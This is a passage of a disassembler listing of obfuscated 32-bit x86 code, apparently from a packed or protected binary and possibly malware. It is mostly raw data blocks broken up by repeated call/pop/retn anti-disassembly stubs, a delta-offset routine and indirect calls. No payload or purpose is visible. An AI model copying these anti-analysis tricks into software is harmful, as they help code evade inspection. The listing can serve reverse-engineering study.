		dd 0E22E1A16h, 0B38B64F9h, 93BABB48h, 0B896B8DDh, 0C50305D4h
		dd 620FE0FFh, 0AEA8014Ch, 0EBDA6D04h, 0D15653F6h, 582378F5h
		dd 0EF2D6B5Ch, 64C435A2h, 0E0E54CB0h, 0EE261A82h, 0C18B3740h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 17C35646h
		dd 0FA7B0FA5h, 4EBAAABh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5A57AB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A57AB	proc near		; CODE XREF: ud2_____:005A57A3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5A57AB	endp

; ---------------------------------------------------------------------------
		db 0FCh
		dd 72FE9AB1h, 12E8F834h, 8A000000h, 0FC4B5718h,	0A562CB46h
		dd 0D457FBACh, 0EB115DCDh, 0EE816620h, 8B5E12DFh, 0D126F1B5h
		dd 8D858D05h, 8905D106h, 0D110E9B5h, 999D8905h,	9005D114h
		dd 90FE8B50h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	7EC35646h, 0C58B8697h, 81048BB7h, 0A6265CEEh, 359D896Fh
		dd 6A05D10Bh, 399D8900h, 8105D108h, 6EFB1DC7h, 6A006A23h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 8E6BC352h, 0BB90858Dh, 6A05D4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 5367EFC3h
		dd 86BF66C3h, 5C08316h,	8E9h, 21208900h, 3F99E28Eh, 8B66503Dh
		dd 240489FBh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	0ABC35040h, 0E6189387h,	0E9342259h, 0Bh, 5825B8FAh
		dd 0C14493D3h, 6A6A6948h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0E3B0A35Dh
		dd 0B8172772h, 6A1FD8h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0A7C35242h, 0EE0FD29Eh, 0BF0FED8Bh, 5E8F3h
		dd 0D0FF0000h, 5FD1D69Bh, 1B3995FFh, 0BD8905D1h, 5D11EC1h
		dd 81CF9D8Dh, 6A05D4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 43840CC3h, 84E1AD24h, 0BD01AA86h
		dd 5D11139h, 11419529h,	0D3FF05D1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0ADC35343h,	0EBCBB5E5h, 0BDF8562h
		dd 271985FFh, 6A05D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 3E922CC3h, 0DC6EE40Ch, 0F8A353C7h
		dd 7ADE9h, 0E800h, 815D0000h, 0D4BB9AEDh, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0DEC2F1CDh, 661EA03Eh, 607ADE81h, 81FBBF0Fh,	0D11905BDh
		dd 7D005h, 860F00h, 8B000001h, 0D122CD9Dh, 45858905h, 8105D131h
		dd 100E3h, 7E95000h, 3B000000h,	0A4C8BD97h, 0E95F8443h
		dd 5, 0EBD71A29h, 0FDB0B3Eh, 8A85h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 860FFA17h
		dd 0F95455B3h, 17C5BD0Bh, 0BD8305D1h, 5D4B974h,	31840F00h
		dd 81000000h, 8FA5C2D7h, 61E922h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0D8DE14C3h
		dd 321AC215h, 0F8C98731h, 0B97485C7h, 105D4h, 0EF810000h
		dd 0D01006h, 26E9h, 880F5200h, 6, 106DB58Bh, 0C75F05D1h
		dd 0D4B97485h, 5, 4DB58B00h, 5205D113h,	12FD9589h, 8D5F05D1h
		dd 0D122CD9Dh, 958B6005h, 5D10F99h, 25E59589h, 816105D1h
		dd 0FFFEFF23h, 68C0FFFh, 89000000h, 0D132A99Dh,	1DBD0305h
		dd 6605D110h, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0D238F3C3h, 9E9h, 0E257A900h, 7C2C5908h
		dd 0C3F6C766h, 51840F04h, 0F000000h, 68Dh, 0C9BD8B00h
		dd 0FF05D114h, 0D1268595h, 0D5B52305h, 9005D106h, 0BE50F88Bh
		dd 49A46C47h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 7E8DCh, 0B4F80000h, 6C2FAC39h, 0E98D89E2h
		dd 5E05D10Fh, 378E9h, 81853100h, 0B005D110h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0B58B0729h, 5D132D1h, 0B4DBD8Bh, 70E605D1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 27C35242h, 0E4F56544h
		dd 52006A71h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F6EA19Eh, 0B70FD8B6h, 0A5B58BFEh, 0BA05D100h
		dd 6, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 1Dh
		dd 0F0C35141h, 2AAC7E0Ah, 6F853206h, 0C38BF904h, 12E9h
		dd 0E11F8100h, 0B8F6FF06h, 2AE0D31h, 65EF7550h,	0C1F9F6CEh
		dd 0FE804E8h, 26000000h, 8229B83Eh, 2E41457Fh, 0D8CA2C5Fh
		dd 8D897F61h, 5D10F99h,	0E2F7665Eh, 0D82BF18Bh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 24C35040h, 19798D31h
		dd 0BE5005D1h, 71A173C2h, 81241C89h, 157E59CEh,	5B5FF51h
		dd 0F05D119h, 481h, 0BABF6600h,	5995FF9Ah, 6A05D124h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B129C356h, 6D69C59Dh, 0BD8B807Bh, 5D12301h,	6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 89F936C3h, 0D126A9B5h, 6670E605h, 0C626CF81h, 6A71E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0AA9B84C3h, 0BE66384Ah, 613C1437h, 1C7830Fh,	8E90000h
		dd 4C000000h, 0CAC71D42h, 0F687961h, 0BAF8D8B6h, 6, 31F1B58Bh
		dd 0C38B05D1h, 3015B58Bh, 0E8C105D1h, 5E804h, 0CDB20000h
		dd 8BE3207Bh, 0F7665EF8h, 29B589E2h, 2B05D110h,	55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 958D3118h, 5805D109h, 2B31B58Bh, 0D82B05D1h,	157880Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 62CFF0C3h, 7B98401h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 5087C356h, 11E980h, 0DB1C0000h, 421961EAh, 24516528h
		dd 4AFE220Bh, 83EAB034h, 0D93B00C1h, 0F3860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD894FC3h, 5D11119h, 6AD98C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2863C356h
		dd 151CD69Ch, 664BFCBEh, 8B0AC4BFh, 4C1F6F8h, 93840Fh
		dd 0FFFC0000h, 0D1268595h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 9CBF5BB1h
		dd 2B51E914h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 3DB14F33h, 834h, 3F860Fh,	0BD290000h
		dd 5D10695h, 3CE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 95255FFDh, 7E86FDEh, 4A000000h
		dd 1C48FE30h, 0B53313C7h, 5D117C9h, 89C08B5Eh, 0D11F3D95h
		dd 8BC38B05h, 7D9D89D8h, 0C705D111h, 0D1015585h, 22ABF105h
		dd 56006A1Bh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 7735C364h, 8BF0BF0Fh, 51006AC0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 118749BBh
		dd 729A74Dh, 1905BD81h,	7D005D1h, 850F0000h, 62h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6AC35040h, 0A4720E4Fh
		dd 190585FFh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0D68A9C3h, 2EBDB55Fh
		dd 0DE803h, 8A00000h, 8A979267h, 2826ACBAh, 8B0D0A69h
		dd 0D10C39B5h, 0B5FF5F05h, 5D11905h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0B3C35040h,	0BD8B046Bh, 5D1172Dh
		dd 188F0Fh, 13E90000h, 4D000000h, 4E830ECEh, 0D4C6CEF5h
		dd 8DF82122h, 0FF240520h, 95FFFD44h, 5D12459h, 16B6CE81h
		dd 6A905A53h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0D7AC352h, 51B52B69h, 6A05D126h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0E849C351h, 0ED4827Ch, 0EE9E9h, 63050000h
		dd 0A1A39C03h, 834A1739h, 0F73F132Ah, 7B9DBF66h, 66FA8B66h
		dd 6AF88Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0F202F0C3h, 0D34E799Fh, 89291609h, 0D11375B5h
		dd 0EDBD8B05h, 6A05D124h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 77CC357h, 8D89B37Ch
		dd 5D13041h, 15DDB52Bh,	8D0F05D1h, 6, 31CDBD8Bh, 9D8905D1h
		dd 5D13161h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	23C35646h, 6A5125h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0AF2A07C3h, 0FFF880E9h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0A7ACF1CFh, 0EF4114AEh, 0F78BBA31h, 151B58Bh
		dd 0C18B05D1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	2FC35141h, 95898A04h, 5D1261Dh,	11B99589h, 4EB05D1h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5A61A7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A61A7	proc near		; CODE XREF: ud2_____:005A619Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5A61A7	endp

; ---------------------------------------------------------------------------
		db 62h
		dd 505EBA8Ch, 1425EE81h, 8960486Ch, 0D1324DBDh,	6180B005h
		dd 68D858Dh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 2B7AE8C3h, 5121AD64h, 29844568h
		dd 0D13159BDh, 0FBF9005h, 5067B36Fh, 90FB8B66h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FFC35747h, 3039BD8Bh
		dd 8D0905D1h, 5D10B0Dh,	7D4FC0BEh, 89006A02h, 0D126158Dh
		dd 0F006A05h, 108Bh, 0BE900h, 0EBAD0000h, 2B721FBCh, 4D8E92DCh
		dd 72858D4Eh, 6A05D4C5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 2409C353h, 0E5075C3h
		dd 0E646412Dh, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0CBEBC353h,	8BD47B91h
		dd 905090F2h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	9C35242h, 1A064257h, 23F13C7Eh,	358D3160h, 0F805D121h
		dd 0F88B6661h, 6AF5006Ah, 158B0F00h, 0E9000000h, 10h, 4234AC90h
		dd 48352AF5h, 3FE9C51Dh, 0DF3A754Dh, 1B3995FFh,	6A05D1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 395AD2C3h, 0CDFA8DDAh, 6065CAB3h, 9E9h, 11C8200h, 994230BEh
		dd 0BD31BFDFh, 5D10075h, 0CF9D8D61h, 6A05D481h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 4F43C350h, 0BD131041h, 0FFBF0F57h, 0E9D3FF5Eh, 6, 8F8D6116h
		dd 85FF3B00h, 5D12719h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 45C35646h, 1BC18509h,	55E905D1h, 0E8000008h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D4C57Ch
		cmp	dword ptr [ebp+5D11905h], 7D0h
		jbe	loc_5A654B
		push	0
		push	ecx
		call	sub_5A63C6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A63C6	proc near		; CODE XREF: ud2_____:005A63BEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5A63C6	endp

; ---------------------------------------------------------------------------
		dw 0FCB9h
; ---------------------------------------------------------------------------
		mov	esi, [ebp+5D10CC5h]
		mov	ebx, [ebp+5D119ADh]
		push	0
		push	ebx
		call	sub_5A63EF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A63EF	proc near		; CODE XREF: ud2_____:005A63E7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5A63EF	endp

; ---------------------------------------------------------------------------
		db 46h
		dd 541493A3h, 5C85619Eh, 27A9BD89h, 0E38105D1h,	100h, 0BE9h
		dd 62D48600h, 99F303C8h, 0B14F334Eh, 850FDB0Bh,	0B1h, 2DBD8960h
		dd 8B05D126h, 0D1119595h, 0BD836105h, 5D4C370h,	52840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 7B67C350h, 9531AAD2h, 5D12669h
		dd 7CE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 666BD180h, 2B4A4CBFh, 0D12151B5h
		dd 7085C705h, 105D4C3h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 6ABDC357h
		dd 26E9AA24h, 60000000h, 0A3A8D181h, 5E861F3h, 19000000h
		dd 0E8D41413h, 5B54DA80h, 7085C761h, 5D4C3h, 89000000h
		dd 0D11B298Dh, 0AD9D8D05h, 6A05D119h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A830C356h
		dd 0FB4D215h, 18Ch, 2381F900h, 0FFFFFEFFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 2CC35242h, 0FDEC8EE3h
		dd 0BD892C38h, 5D109BDh
; ---------------------------------------------------------------------------
		mov	si, dx


loc_5A654B:				; CODE XREF: ud2_____:005A63B5j
		mov	bx, ds
		push	0
		push	eax
		call	sub_5A6559
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6559	proc near		; CODE XREF: ud2_____:005A6551p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5A6559	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebp
		cdq
		dec	eax
		push	ecx
		xor	[ebx+eax*2-3Ch], esp
		and	esi, esi
		retn
; ---------------------------------------------------------------------------
		dd 78840F04h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 1A31C355h, 268595FFh
		dd 6A05D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 7A7304C3h, 750A2184h, 0BD8BFD91h,	5D12041h
		dd 0FA8B6690h, 6A9050h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 9CC110C3h, 419D0139h, 0E905D126h
		dd 3CAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	2AC35545h, 0F8B8B7FCh, 0B684916Ah, 1DD5B531h, 0B005D1h
		dd 9899D89h, 70E605D1h,	0E4F7BF0Fh, 50006A71h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 4038A100h
		dd 0A24645F2h, 8D89263Ah, 5D10961h, 89D8B60Fh, 0D11E91B5h
		dd 6BA05h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0F12EFBC3h, 0F87ABFDh, 0C38BFFBFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 98C35646h
		dd 0A0228DF2h, 299C91D2h, 0D1012DB5h, 4E8C105h,	2A1DB531h
		dd 0F76605D1h, 52006AE2h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 1AC4CC5Bh, 1029B589h
		dd 0D82B05D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0F6C35646h, 22884CB1h, 0F59589h, 7E805D1h, 78000000h
		dd 73B93292h, 0F38BCE99h, 0F28B665Fh, 0DE85093h, 0B000000h
		dd 0F6AA4FC6h, 0EEEC51BDh, 7B2BAFAAh, 8D31935Eh, 5D11A99h
		dd 1905B5FFh, 6A05D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0F01160C3h, 123D8589h, 95FF05D1h
		dd 5D12459h, 98D8953h, 5E05D119h, 56D68166h, 8B00B086h
		dd 0D117C1B5h, 6A70E605h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 66FAC350h, 0E635B0E5h
		dd 0C78166DCh, 0BD2322A9h, 5D10989h, 613C71E4h,	204830Fh
		dd 0BD890000h, 5D1087Dh, 6AD8B60Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6017C351h
		dd 0FB996CBEh, 0F18D2933h, 6105D10Eh, 0FE9h, 1F46700h
		dd 0AF402B26h, 18FAF6E1h, 96C1CAA7h, 6BAh, 0E1BD8B00h
		dd 8B05D114h, 858589C3h, 0C105D10Bh, 6A04E8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0E919C6C3h
		dd 741861DBh, 0E2F76661h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 42C35040h, 13E822h, 97600000h, 37A68788h
		dd 0F890F7E5h, 2DE7B292h, 7EAF37A0h, 19860F7Fh,	0E8000000h
		dd 13h,	51F13ADFh, 95B44418h, 4E25FE57h, 4E7FA5C7h, 5ED43639h
		dd 6AD82B5Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 5124C353h, 0E2BF3A55h,	89595760h
		dd 0D12475BDh, 0F586105h, 58Ah,	8299BE00h, 0D82B3BBEh
		dd 0EC880Fh, 0B58B0000h, 5D10CF9h, 7B9h, 35B52900h, 8905D101h
		dd 0D11E05BDh, 0C18305h, 1D1DB529h, 816605D1h, 3BDABCD7h
		dd 0BF860FD9h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 6877C351h, 0E9BD893Bh
		dd 6605D122h, 830FD98Ch, 0
; ---------------------------------------------------------------------------
		test	cl, 4
		jz	loc_5A69BA
		jmp	loc_5A6945
; ---------------------------------------------------------------------------
		dw 0AF7Bh
		dd 0F7E2F432h
		db 0B7h
; ---------------------------------------------------------------------------


loc_5A6945:				; CODE XREF: ud2_____:005A6939j
		call	dword ptr [ebp+5D12685h]
		mov	esi, [ebp+5D1242Dh]
		pop	ebx
		sub	eax, ebx
		movsx	esi, dx
		cmp	eax, 834h
		jbe	loc_5A69BA
		push	0
		push	edi
		call	sub_5A696D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A696D	proc near		; CODE XREF: ud2_____:005A6965p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5A696D	endp

; ---------------------------------------------------------------------------
		inc	esi
		mov	bh, 52h
		and	[eax+224DB503h], dl
		rol	large dword ptr	ds:35E9h, 1
		add	[edx+0], ch
		push	ebx
		call	sub_5A6998
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6998	proc near		; CODE XREF: ud2_____:005A6990p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5A6998	endp

; ---------------------------------------------------------------------------
		dd 0D8B94945h, 870F99E6h, 6, 1E31BD0Bh
		db 0D1h, 5
; ---------------------------------------------------------------------------


loc_5A69BA:				; CODE XREF: ud2_____:005A6933j
					; ud2_____:005A695Cj
		mov	eax, eax
		mov	esi, [ebp+5D1204Dh]
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	eax
		call	sub_5A69D1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A69D1	proc near		; CODE XREF: ud2_____:005A69C9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5A69D1	endp

; ---------------------------------------------------------------------------
		mov	bl, 0B9h
		xchg	eax, edx
		mov	ecx, esp
		mov	[ebp+5D100D1h],	eax
		xor	edi, [ebp+5D1117Dh]
		mov	dword ptr [ebp+5D122CDh], 3E06E73Fh
		push	0
		push	esi
		call	sub_5A6A07
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6A07	proc near		; CODE XREF: ud2_____:005A69FFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5A6A07	endp

; ---------------------------------------------------------------------------
		add	al, 0DBh
		xor	cl, [eax+4A5F5C58h]
		pop	ebx
		mov	edi, ecx
		mov	eax, eax
		js	loc_5A6A36
		jo	loc_5A6A36
		mov	[ebp+5D10E59h],	edx


loc_5A6A36:				; CODE XREF: ud2_____:005A6A24j
					; ud2_____:005A6A2Aj
		mov	esi, [ebp+5D11769h]
		cmp	dword ptr [ebp+5D11905h], 7D0h
		jnz	loc_5A6AA4
		push	0
		push	ebx
		call	sub_5A6A57
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6A57	proc near		; CODE XREF: ud2_____:005A6A4Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5A6A57	endp

; ---------------------------------------------------------------------------
		db 44h
		dd 0BA7F7122h, 0BD035E4Fh, 5D1166Dh, 0DEF8166h,	585FF18h
		dd 6A05D119h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0A2CBC353h, 6D4E6BCDh,	0F3B70F9Ah
; ---------------------------------------------------------------------------


loc_5A6AA4:				; CODE XREF: ud2_____:005A6A46j
		push	dword ptr [ebp+5D11905h]
		jl	loc_5A6AB6
		jz	$+6


loc_5A6AB6:				; CODE XREF: ud2_____:005A6AAAj
		call	dword ptr [ebp+5D12459h]
		push	0
		push	ecx
		call	sub_5A6AC7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6AC7	proc near		; CODE XREF: ud2_____:005A6ABFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5A6AC7	endp

; ---------------------------------------------------------------------------
		mov	dl, [esi+53h]
		inc	eax
		inc	edi
		leave
		db	64h
		wait
		nop
		push	0
		push	eax
		call	sub_5A6AEB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6AEB	proc near		; CODE XREF: ud2_____:005A6AE3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5A6AEB	endp

; ---------------------------------------------------------------------------
		db 2Eh
; ---------------------------------------------------------------------------
		fcomip	st, st(5)
		mov	di, 0D4F8h
		mov	esi, 79E22A03h
		push	0
		push	edi
		call	sub_5A6B12
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6B12	proc near		; CODE XREF: ud2_____:005A6B0Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5A6B12	endp

; ---------------------------------------------------------------------------
		add	eax, 8160CA98h
		rol	byte ptr [ecx-54h], 1
		and	cl, [ecx]
		jnb	loc_5A6B4D
		jmp	loc_5A6B47
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0D1DFEB86h, 369DA8C8h, 0B17D9950h
; ---------------------------------------------------------------------------
		mov	[esi-2], eax


loc_5A6B47:				; CODE XREF: ud2_____:005A6B32j
		mov	eax, [ebp+5D118CDh]


loc_5A6B4D:				; CODE XREF: ud2_____:005A6B2Cj
		popa
		mov	[ebp+5D13201h],	ebx
		push	0
		push	ecx
		call	sub_5A6B5F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6B5F	proc near		; CODE XREF: ud2_____:005A6B57p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5A6B5F	endp

; ---------------------------------------------------------------------------
		db 7Ah
		dd 0B57AEAEAh, 0FB9CBBEAh, 619589E7h, 6605D10Dh, 9F79CF81h
		dd 1DE5BD0Bh, 0AE905D1h, 64000000h, 21041C97h, 12B1848Ah
		dd 95BD8B02h, 6A05D111h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 775EC355h, 1D59B58Bh
		dd 6A05D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0C3DEA1C3h, 145DB589h, 0B4E905D1h, 31FFFFF7h
		dd 0D11489BDh, 0F28B6605h, 6AC18Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 6133C3h, 4EBB7DDh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5A6C27
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6C27	proc near		; CODE XREF: ud2_____:005A6C1Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5A6C27	endp

; ---------------------------------------------------------------------------
		db 0AAh
		dd 16454264h, 6600049Dh, 0CE983h, 2800000h, 336E05E2h
		dd 6FFCC26Fh, 6A0F15h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0E95648C3h, 13h,	843825D8h, 16DFBAEFh
		dd 0FFF222B7h, 0FB213702h, 5EAE268Ah, 23358589h, 858D05D1h
		dd 5D1068Dh, 0F5BD8B51h, 5E05D11Fh, 72BF6690h, 890F5020h
		dd 14h,	0FE9h, 601E6300h, 0A6878897h, 90F7E537h, 0E7B292F8h
		dd 0F2BF0F90h, 6A006Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0F4352EC3h, 944E60DFh, 607F0A73h
		dd 68C0Fh, 0CA810000h, 61716206h, 1C018D89h, 6A6105D1h
		dd 858DF800h, 5D4CFD2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 3EC35545h, 0B015168Dh, 682C6585h, 0FABF0F96h
		dd 8B05C083h, 0D108BDB5h, 5F579005h, 0A9BF6650h, 64BE90A1h
		dd 6A10AE69h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 59B3CA29h, 6A7617B5h, 9455BE00h
